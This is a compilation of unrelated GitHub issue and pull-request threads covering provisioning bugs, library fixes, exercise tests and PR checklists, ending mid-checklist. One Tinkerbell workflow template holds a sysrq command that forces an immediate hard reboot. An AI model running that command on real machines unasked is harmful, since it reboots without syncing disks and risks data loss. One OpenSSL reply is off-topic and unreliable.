Worker doesn't pick up the new workflow

When a worker is rebooted via an action in the workflow, The worker picks up the workflow which is stuck in running state and as a result, it never picks up the new workflow.
This is in reference to the recent commit https://github.com/tinkerbell/boots/pull/115.
Expected Behaviour
Ideally, changes in this commit https://github.com/tinkerbell/boots/pull/115 should be rectified to handle the following scenario.

tink-server should have a mechanism to execute/resume running workflow after reboot.
When rebooted via workflow either workflow should be marked as completed.
Or worker should pick up new workflow (if there is one defined for it).

Current Behaviour.
Below are the stepwise states happening right now.

worker does ipxeboot.

worker executes the workflow.

worker reboots as a part of workflow.

worker, after reboot, retries to pxe boot  (because of https://github.com/tinkerbell/boots/pull/115 ) and fails.

When a new workflow is created.

Worker stills picks up the workflow which is running state and against, fails.

Steps to Reproduce (for bugs)

Create a workflow using the below template.
Use any alpine image for executing reboot action.

version: "0.1"
name: try-install
global_timeout: 1800
tasks:
  - name: "hello world"
    worker: "{{.device_1}}"
    actions:
      - name: "hello_world"
        image: hello-world
        timeout: 60
      - name: "reboot"
        image: alpine-image
        command:
          - bash
          - -c
          - |
            echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger

Observe steps as mentioned in current behaviour.

State of first workflow

docker exec -i deploy_tink-cli_1 tink workflow state 88241ed8-6221-11eb-af88-0242ac120005
+----------------------+--------------------------------------+
| FIELD NAME           | VALUES                               |
+----------------------+--------------------------------------+
| Workflow ID          | 88241ed8-6221-11eb-af88-0242ac120005 |
| Workflow Progress    | 50%                                  |
| Current Task         | hello world                          |
| Current Action       | reboot                               |
| Current Worker       | 0eba0bf8-3772-4b4a-ab9f-6ebe93b90a95 |
| Current Action State | STATE_RUNNING                        |
+----------------------+--------------------------------------+

state of the worker after reboot action.

Create a new workflow.
worker still picks up the old workflow because of https://github.com/tinkerbell/boots/pull/115 and fails again.

Both of the workflow new and old, are stuck at their respective state.

vagrant@provisioner:/vagrant/deploy/centos$ docker exec -i deploy_tink-cli_1 tink workflow state 88241ed8-6221-11eb-af88-0242ac120005
+----------------------+--------------------------------------+
| FIELD NAME           | VALUES                               |
+----------------------+--------------------------------------+
| Workflow ID          | 88241ed8-6221-11eb-af88-0242ac120005 |
| Workflow Progress    | 50%                                  |
| Current Task         | hello world                          |
| Current Action       | reboot                               |
| Current Worker       | 0eba0bf8-3772-4b4a-ab9f-6ebe93b90a95 |
| Current Action State | STATE_RUNNING                        |
+----------------------+--------------------------------------+
vagrant@provisioner:/vagrant/deploy/centos$ docker exec -i deploy_tink-cli_1 tink workflow state 5894621e-6222-11eb-af88-0242ac120005
+----------------------+--------------------------------------+
| FIELD NAME           | VALUES                               |
+----------------------+--------------------------------------+
| Workflow ID          | 5894621e-6222-11eb-af88-0242ac120005 |
| Workflow Progress    | 0%                                   |
| Current Task         |                                      |
| Current Action       |                                      |
| Current Worker       |                                      |
| Current Action State | STATE_PENDING                        |
+----------------------+--------------------------------------+

Result: If used for OS installation and worker is rebooted as a part of the workflow. The worker will never come up.
Context

Creating a centos workflow.

Your Environment

Vagrant

We can't do anything about this at the moment I think. The way around this is to sleep for a little bit before doing the echo so that tink-worker has had the ability to send progress to tink-server.

Hmm can you give boots logs for the attempted dhcp. It should allow the dhcp/tftp/...netboot.

The action is the issue here, as written it doesn't allow for tink-server to report back success and so naturally we re-run it. This is working as intended. You'll want to use the reboot action from https://github.com/tinkerbell/hub/issues/13 when its ready.


fix: updating trigger meta to get the source of console logs

Description
For nested functions, the trigger meta is not available for subsequent functions. So in cases where the dynamic trigger has the relevant info, we can use that to update the trigger meta and then use that meta to display the source of the logs.
Fixes #16515
Fixes #16483
Fixes #16514
Type of change

New feature (non-breaking change which adds functionality)

Test plan

[ ] https://github.com/appsmithorg/TestSmith/issues/2058

Checklist:

[ ] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes

/ok-to-test sha=7f2944a

/ok-to-test sha=bf19f62

/ok-to-test sha=7d4a710

Verified all fixes on DP. Gtg to release CC: @ayushpahwa

Is this expected - myfun1 not returning the API data? Should I do something else for it to return?
https://user-images.githubusercontent.com/91450662/188624970-9fde7032-bad1-49c4-b450-85f9dd3b920e.mov

@Aishwarya-U-R you need to return Api1.data in the .then() after the run.
return Api1.run()
				.then(() => {
				console.log(Api1.data)
				return 1;
			})

/ok-to-test sha=213a321

/ok-to-test sha=47ce8fc

/ok-to-test sha=9654cf4

/ok-to-test sha=babb92a


Swagger UI middleware might not be the latest version?

I started using swagger-tools recently and came across an issue where the Swagger UI middleware published through /docs behaved differently than the "standard" one (at http://petstore.swagger.io/). In particular, the middleware version wasn't doing the nifty UI parameter validation (shaking box, etc.) when a pattern check failed or showing the proper pattern while hovering on the input (the Validator middleware did catch this, of course).
A quick check showed that the files at the petstore site and the middleware/swagger-ui directory were different, so to test I overwrote everything other than index.html with the versions from petstore, restarted my app and now this functionality was available through the middleware.
Like I said, I'm very new to swagger-tools (and swagger in general) so this could be caused by something else I'm missing, but if not, I guess it could be nice to upgrade the Swagger UI middleware version to whatever is current?
In any case, thanks for swagger-tools, it's quite a bit of fun to try to learn and work with it :)

@AaronHarris I love this workaround and I attempted it but I can't seem to get swagger-ui-dist to load my swagger doc as the default rather than the pet store. To clear the line above is the only thing I changed... have you had any luck with this?

@taicho This did not work for me too.
However, this is what I ended up. It works for me.
SwaggerExpress.create(config, function(err, swaggerExpress) {
    if (err) { throw err; }

    // Add swagger-ui (This must be before swaggerExpress.register)

    let apiDeclarations = swaggerExpress.runner.swagger;
    apiDeclarations.swaggerUiDir = path.join(__dirname, '..', '..', 'node_modules', 'swagger-ui-dist');
    webserver.use(SwaggerUi(apiDeclarations));

    // install middleware
    swaggerExpress.register(webserver);

    // webserver.use(SwaggerUi(swaggerExpress.runner.swagger));

    // var port = process.env.PORT || 8080;
    // app.listen(port);

    if (swaggerExpress.runner.swagger.paths['/hello']) {
      console.log('try this:\ncurl http://<IP_ADDRESS>:' + port + '/hello?name=Scott');
    }
  });

@AaronHarris Thanks for advice. Problem is that swagger now is rendering not my swagger file, but the default petstore file.

I was not straight fwd. This is basically what I ended up doing. Ask me if you need further explanation https://gist.github.com/shishirsharma/be5f086aa4e7ff5d8b0ace64d9a4429a


serrors: delete error context merging and code cleanup

There were a number of intertwined issues difficult to characterize in isolation.
This proposes something that has a more consistent behavior and interface, with shims to ease transition.
Most issues stemmed from the withCtx() function which (in rare cases) created hybrid objects that required complicated support code and, in some cases could cause Is() to panic.
Removed the feature, replaced WithCtx() with a shim that doesn't create hybrids. Removed all the complicated code that resulted. The code is now more obvious but not shorter. There are now two subclasses of errors:

basicError: dedicated to errors of the form string+cause - Constructed by Wrap()
joinedError: dedicated to errors of the form error+cause - Constructed by Join()
This allows for Is() and Unwrap() to be different and do the right thing in all cases.

Introduced new constructors with obvious semantics to replace those already marked deprecated.
I still plan on editing the calls to deprecated constructors (and common.ErrMsg) out of everywhere, but in a subsequent PR.
Fixes #4486

This change is

Took the liberty of bypassing review for the last commit: reformating a comment due to long line.


Truncates the preceding whitespace, using the 'strip_heredoc' method from Active Support

One of my shell scripts includes its own heredocs (in the bash script, that is), and having preceding whitespace was breaking that script.
Fixes this situation:
Running:
target.shell_script_build_phase("Check Pods Manifest.lock", <<-SCRIPT)
    diff "${PODS_ROOT}/../Podfile.lock" "${PODS_ROOT}/Manifest.lock" > /dev/null
    if [[ $? != 0 ]] ; then
#### these bash heredocs should not be indented in the final script ####
        cat << EOM
    error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.
    EOM
        exit 1
    fi
SCRIPT

Instead of the script including the '    ' in front, the common preceding whitespace is removed:
diff "${PODS_ROOT}/../Podfile.lock" "${PODS_ROOT}/Manifest.lock" > /dev/null
if [[ $? != 0 ]] ; then
    cat << EOM
error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.
EOM
    exit 1
fi

Oh hey I can move that method out like you mention, just slipped my mind.

On Feb 13, 2016, at 1:09 AM, James Campbell<EMAIL_ADDRESS>wrote:
Merged #47.
―
Reply to this email directly or view it on GitHub.

@colinta awesome, if you could open another PR :)


dll name

Hello, I would like to ask which is the name of the dll generated by OpenSSL under the windows VC compiler? I compiled the 1.1.1m version, and the default one is libcrypto-1_1.dll. How to modify it? Is the naming location and modification method the same as the version 3?

go to Device settings and click About the whole info of ur Device info that
is connected to your own device also web is in there , check ur regulatory
and open sources ,all sources u will seen there is definitely ur Device
sources
On Tue, Dec 28, 2021, 2:55 PM ITSweets @.***> wrote:

Hello, I would like to ask which is the name of the dll generated by
OpenSSL under the windows VC compiler? I compiled the 1.1.1m version, and
the default one is libcrypto-1_1.dll. How to modify it? Is the naming
location and modification method the same as the version 3?
—
Reply to this email directly, view it on GitHub
https://github.com/openssl/openssl/issues/17361, or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASXIOLNVDDWUGABWYXQFIJLUTFNP3ANCNFSM5K3SUMWQ
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

The version 1.1.1 is not supported anymore. Closing. If this is still an issue with currently supported releases, please open a new issue.


changed airqloud query parameter to ID

WHAT DOES THIS PR DO?

Changed the airqloud API query parameter to ID
Resolved function depreciation issue

WHAT ISSUES ARE RELATED TO THIS PR?

Jira cards

GitHub issues

Closes #

HOW DO I TEST OUT THIS PR?

Create a python virtual environment and activate it
Install the required packages from the requirements.txt file
Get the .env file and run python main.py on your terminal.

WHICH ENDPOINTS SHOULD BE READY FOR TESTING?:
platform.airqo.net/api/v2/predict/heatmap?

Data was inserted successfully.
WARNING:tensorflow
We are not yet using the grid in this PR


FluxConnection atmosphere-websocket long-polling fallback not always best option

Describe your motivation
in the file<EMAIL_ADDRESS>i see that the websocket connection created via atmosphere with the setting for fallbackTransport as 'long-polling'. This leads to the situation that if a user loses its network connection for a short period, subsequently the FluxConnection relies solely on long-polling after that. i can see that in our monitoring solution.
Describe the solution you'd like
I'm not familiar with the details of how atmosphere.js can be configured. either the FluxConnection should somehow switch back to websocket or just don't use long-polling as a fallback. at least i would like to have the configuration-option if that does not make sense as as default.
additionally. we would need the fix for hilla 1.3
Describe alternatives you've considered
No response
Additional context
No response

While improving configuration or defaults is a possible way to go about this issue, we should address primarily that the clients end up relying only on long-polling after network disruptions. This could be considered as a bug.

Do you have a proxy or something else between the browser and the server? Losing network connection, going offline or similar is not supposed to change to the fallback transport but if the server (or a proxy) refuses a websocket connection in one way or another, then Atmosphere will likely fall back to long polling

Do you have a proxy or something else between the browser and the server? Losing network connection, going offline or similar is not supposed to change to the fallback transport but if the server (or a proxy) refuses a websocket connection in one way or another, then Atmosphere will likely fall back to long polling

yes we do have a reverse proxy in our real environment. i will investigate if that could be the source of that behaviour.
on another note. even on our development-machines were we don't use a reverse-proxy, we get the behavior that if we have a flux-subscription and we use chrome-dev-tools to set the network throttling to "offline", we do not get any new messages even if we set the network throttling back to "online".

Let me share my findings about this issue.
The fallbackTransport is not directly related to reconnection. It sets the strategy used when websockets are not available. I wasn't able to replicate a scenario that falls back to long polling just because of a connection loss.
Reconnection is not implemented by default, see https://github.com/vaadin/hilla/issues/398. Some implementation examples are provided in that issue.
Setting throttling to offline actually disconnects from the flux. If you want to reconnect after the application has going offline, this should be implemented manually at the moment (see issue above).
On the contrary, if the network issue happens along the wire, the reconnection then happens correctly and the lost messages are transmitted to the client. To test this scenario, I run the application in production mode in a VM, and then I connect to that VM. This allows to better simulate network problems by putting the VM online instead of the browser. In this case, the application doesn't go offline, but cannot connect during the simulated outage.
All these tests have been performed with both Hilla 1.3.30 and 2.5.1.

@cproinger if a real network connection problem happens, Hilla is already able to reconnect to the websocket, provided that it has not been closed for timeout. Is that enough for your needs? Putting the browser offline is different, since it causes disconnection by design.

@cproinger if a real network connection problem happens, Hilla is already able to reconnect to the websocket, provided that it has not been closed for timeout. Is that enough for your needs? Putting the browser offline is different, since it causes disconnection by design.

sorry for the late reply. unfortunately i did not have time to investigate this further and it could be a while until i can.
our customization currently does seem to be good enough.

@cproinger thanks to https://github.com/vaadin/hilla/pull/1959 (cherry-picked in https://github.com/vaadin/hilla/pull/1984), you can now amend the Atmosphere configuration by defining your own connect-client.js file.
Closing as this should allow to apply the needed customization, feel free to reopen the issue if needed.


Test setup for integration test not working as shown in the tutorial

The following code gives a variable not visible error when I try to deploy it:
    @IsTest
    static void apexRollup_InsertIntegration_CorrectContextCalled() {
        JHU_Core.TriggerHandler.bypassAll();
        Account parent = new ExternalAccountBuilder().buildAccount();
        JHU_Core.TriggerHandler.clearAllBypasses();

        Funding__c testFunding = new FundingBuilder().receivingAccountId(parent.Id).buildFunding();

        Set<System.TriggerOperation> expectedOperations = new Set<System.TriggerOperation>{System.TriggerOperation.AFTER_INSERT};

        Assert.areEqual(expectedOperations, Rollup.CACHED_APEX_OPERATIONS.get(Funding__c.SObjectType));
    }

The specific error:
Update of ApexClass TEST_FundingTrigger: Error on line 32, col 45: Variable is not visible: Rollup.CACHED_APEX_OPERATIONS
I am on version 1.6.27

@HamboneWilson apologies that the video(?) has gotten out of date. Here's what you can do in the interim (I may re-add the @TestVisible annotation in a future release):
private class RollupMock extends Rollup {
  public RollupMock() {
    super();
  }

  public Set<System.TriggerOperation> getOperations() {
    return this.getCachedApexOperations();
  }
}

// and then in your test:
Assert.areEqual(expectedOperations, new RollupMock().getOperations().get(Funding__c.SObjectType));


Repo sync for protected CLA branch

The pull request is created from master637631750831671641 to master to fix git push error for protected CLA branch

@ghogen : Thanks for your contribution! The author(s) have been notified to review your proposed change.

See https://github.com/MicrosoftDocs/visualstudio-docs/pull/6906#issuecomment-892071813 for comments that relate do this.


Big Chonky Boi

This is an API BREAKING release, in all the good ways. The plan is to make this the last 0.4 release, and then tag a 0.5 release after Julia 1.6 is out and we've had time to catch a few bugs.
Reading and writing GeoTIFF files through the geotiff function is now fully supported without needing to define a custom type - this obsoletes the internal function raster
All data interaction are done through extensions of the SimpleSDMPredictor function, which accept a data provider and a dataset, as well as (in some cases) a climate model and a climate future. This obsoletes the worldclim, bioclim. and landcover functions, leading to fewer things in the namespace, which is good.
Future climates are represented by  @enum types by model family.
The files are stored either at the location specified by ENV["SDMLAYERS_PATH"], or locally in the assets folder. The first solution is recommended as it allows projects to reuse folders.
The earthenv dataset has gained all of the texture layers.
WorldClim 2.1 has the CMIP6 scenarios under all four SSP6 for the BioClim dataset.
There are still a few outstanding items, including:

[ ] docstrings for the new data interface
[ ] documentation update
[ ] future CHELSA
[ ] plotting recipes cleanup
[x] README update

Codecov Report

Merging #90 (cafc827) into master (993f286) will decrease coverage by 2.79%.
The diff coverage is 86.74%.

@@            Coverage Diff             @@
##           master      #90      +/-   ##
==========================================
- Coverage   88.01%   85.22%   -2.80%
==========================================
  Files          22       25       +3
  Lines         609      697      +88
==========================================
+ Hits          536      594      +58
- Misses         73      103      +30

Flag
Coverage Δ

unittests
85.22% <86.74%> (-2.80%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

src/datasets/earthenv/landcover.jl
42.85% <42.85%> (ø)

src/datasets/earthenv/habitatheterogeneity.jl
50.00% <50.00%> (ø)

src/datasets/types.jl
57.14% <57.14%> (ø)

src/datasets/earthenv/download.jl
86.11% <86.11%> (ø)

src/datasets/worldclim/bioclim.jl
94.73% <94.73%> (ø)

src/datasets/geotiff.jl
96.72% <96.29%> (+0.29%)
:arrow_up:

src/SimpleSDMLayers.jl
88.88% <100.00%> (+1.38%)
:arrow_up:

src/datasets/chelsa/bioclim.jl
100.00% <100.00%> (ø)

src/datasets/chelsa/download.jl
100.00% <100.00%> (ø)

src/datasets/worldclim/download.jl
100.00% <100.00%> (ø)

... and 6 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3198306...cafc827. Read the comment docs.

So worldclim is apparently down... This is fun. I like it.


added social media icons with respective links

sir sent a pr to development branch so should i delete this pr?

No just edit the branch

actually i sent another pr so ? what to do

ok

I have done the changes please do it from next time.

ok sure i will remember thank you

okay doing it right now

sir just wanted to know if i should send new pr because it is not possible to change name of folder but i have changed the class name.

changes made!

Congratulations on the successful PR!
The next set of issues would be out soon.


Feature(update lab): Add kn func

Add kn func

Update code fence blocks with valid language syntax, such as json, yaml, or shell. https://github.com/github/linguist/blob/master/lib/linguist/languages.yml
Add kn func lab

Looks good - but 2 questions.
1 - should we break func stuff out into a separate lab? Like 1.5? Just asking, seems like it be fine either way.
2 - do we have to force them to create quay.io account? That seems a bit complicated for a developer. And if the answer is yes, maybe we have them do that before the workshop starts in like a setup lab so as not to muddy the waters in the dev labs...

Looks good - but 2 questions.
1 - should we break func stuff out into a separate lab? Like 1.5? Just asking, seems like it be fine either way.
2 - do we have to force them to create quay.io account? That seems a bit complicated for a developer. And if the answer is yes, maybe we have them do that before the workshop starts in like a setup lab so as not to muddy the waters in the dev labs...

For 1, ya I thought about that too and seems like both approaches make sense.  I'm ok with either and don't feel passionate either way.
And for 2 every tutorial I've seen requires you to have access to an image repository.  I was actually digging around in the source code for kn func and looks like it's an unavoidable step when deploying. https://github.com/boson-project/func/blob/923c788f4a21ec7c109388105ec9b513d9511a48/cmd/deploy.go#L107

I feel like I'm turning in the "homeroom police" so apologies :)
docker and podman are not in the homeroom image.  So users won't be able to login to their registries.  kn func build will fail too since it will look for a docker runtime for build.

Not sure how I feel - do you think the extra effort required (adding podman to our Dockerfile, making sure our workshop participants sign up for quay in advance) is worth it to showcase kn func?

I feel like I'm turning in the "homeroom police" so apologies :)
docker and podman are not in the homeroom image. So users won't be able to login to their registries. kn func build will fail too since it will look for a docker runtime for build.

Not sure how I feel - do you think the extra effort required (adding podman to our Dockerfile, making sure our workshop participants sign up for quay in advance) is worth it to showcase kn func?
Update: Actually, the more I think about it, this might be much harder to do. This would require docker in docker which we probably want to avoid.

Def a great point.  I'm ok with dropping this for now?  Maybe we include a  "you can also check this thing kn func out, read more about it here"

Looks good - but 2 questions.
1 - should we break func stuff out into a separate lab? Like 1.5? Just asking, seems like it be fine either way.
2 - do we have to force them to create quay.io account? That seems a bit complicated for a developer. And if the answer is yes, maybe we have them do that before the workshop starts in like a setup lab so as not to muddy the waters in the dev labs...

For 1, ya I thought about that too and seems like both approaches make sense. I'm ok with either and don't feel passionate either way.
And for 2 every tutorial I've seen requires you to have access to an image repository. I was actually digging around in the source code for kn func and looks like it's an unavoidable step when deploying. https://github.com/boson-project/func/blob/923c788f4a21ec7c109388105ec9b513d9511a48/cmd/deploy.go#L107

Moved instructions to beginning of workshop.

Going to close this PR as per the discussion here but leaving this branch open in case we ever want to revisit this and use some of the content that I've written.


Why does Exercism test for state mutation?

In JS track Bird Watcher exercise Test 9 is testing for object equality. The only way for me to pass the test is to mutate the array. My initial solution where I returned a new array with the modified value triggers this test failure. It means that my map solution was not accepted. Is this intended behaviour?
const birdsPerDay = [2, 0, 1, 4, 1, 3, 0];
expect(Object.is(fixBirdCountLog(birdsPerDay), birdsPerDay)).toBe(true);

Error: expect(received).toBe(expected) // Object.is equality
Expected: true
Received: false

(I've moved the ticket)
As a maintainer, I don't know what action we could take. This test is warranted given the instructions, ánd per the learning goals we don't want people to use map.

For example someone can use a for loop to solve this without mutating state. However I can't think of any alternatives to this so perhaps it's an acceptable constraint.

Is this the unwanted side-effect?
Given side-effects, you can still use map, which is why we're also implementing a check in the analyzer to further discourage it.
// Intended
export function fixBirdCountLog(birdsPerDay) {
  for (let i = 0; i < birdsPerDay.length; i += 2) {
    birdsPerDay[i]++;
  }
  return birdsPerDay;
}

// Don't do this, but you could...
export function fixBirdCountLog(birdsPerDay) {
  birdsPerDay.map((value, index, self) => {
    if (index % 2 === 0) {
      self[index] = value + 1
    }
  })

  return birdsPerDay;
}

array-transformations does the opposite, btw. It will check if you use a for loop and nudge you to map instead.

Is this the unwanted side-effect?

My point was the test not only promotes for-loops but requires state mutation. However it's possible to use a for to solve this and return the correct result but this will not pass the test. The description ("returns that same array") does imply that this is the intention. I understand if the state mutation requirement is a means to an end (for loops) but I understand it a bit less if it's an end in itself.
Anyways, I don't intend this to be a debate. This just seemed very odd to me. Thanks for your response @SleeplessByte

The description ("returns that same array") does imply that this is the intention.

Would "returns/mutates the same array" be clearer?

I think in other exercises we say "returns the modified array" (or object in other contexts). That might help here as well.
In general I think it makes sense to have a task that uses a for loop and mutates an array as it is a common use case.

I think those changes in description make it clearer.

I re-opened the issue so we don't forget to make the change.


Fix login is cleared when resizing window

Details

The login field in login page is cleared when resizing the window. This PR fix it.
Fixed Issues

$ https://github.com/Expensify/App/issues/46204
PROPOSAL: https://github.com/Expensify/App/issues/46204#issuecomment-2250996627
Tests

Same as QA Steps

[x] Verify that no errors appear in the JS console

Offline tests

Same as QA Steps
QA Steps

Web/Desktop

Log out
Type your email in the login field
Resize the window to small/large screen
Verify the login input field value isn't cleared

Android/iOS/mWeb
Can't resize, just login normally and verify you can login

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native

https://github.com/user-attachments/assets/4ae3311b-8f04-4000-97fd-63942daf33ac

Android: mWeb Chrome

https://github.com/user-attachments/assets/e9e4ea6d-fa44-41b4-ab18-93ef5c1a612f

iOS: Native

https://github.com/user-attachments/assets/512656de-3555-484e-882b-7c80c8aad510

iOS: mWeb Safari

https://github.com/user-attachments/assets/46c57a2d-1c6d-410e-8782-e5f2abed7617

MacOS: Chrome / Safari

https://github.com/user-attachments/assets/76db5c0b-02ac-45a0-8463-e958bae39acc

MacOS: Desktop

https://github.com/user-attachments/assets/cbfe1427-0708-46e0-ad4e-447985fda812

Reviewer Checklist

[x] I have verified the author checklist is complete (all boxes are checked off).
[x] I verified the correct issue is linked in the ### Fixed Issues section above
[x] I verified testing steps are clear and they cover the changes made in this PR

[x] I verified the steps for local testing are in the Tests section
[x] I verified the steps for Staging and/or Production testing are in the QA steps section
[x] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[x] I checked that screenshots or videos are included for tests on all platforms
[x] I included screenshots or videos for tests on all platforms
[x] I verified tests pass on all platforms & I tested again on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[x] I verified proper code patterns were followed (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method
[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I verified that this PR follows the guidelines as stated in the Review Guidelines
[x] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG)

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots/Videos

Android: Native
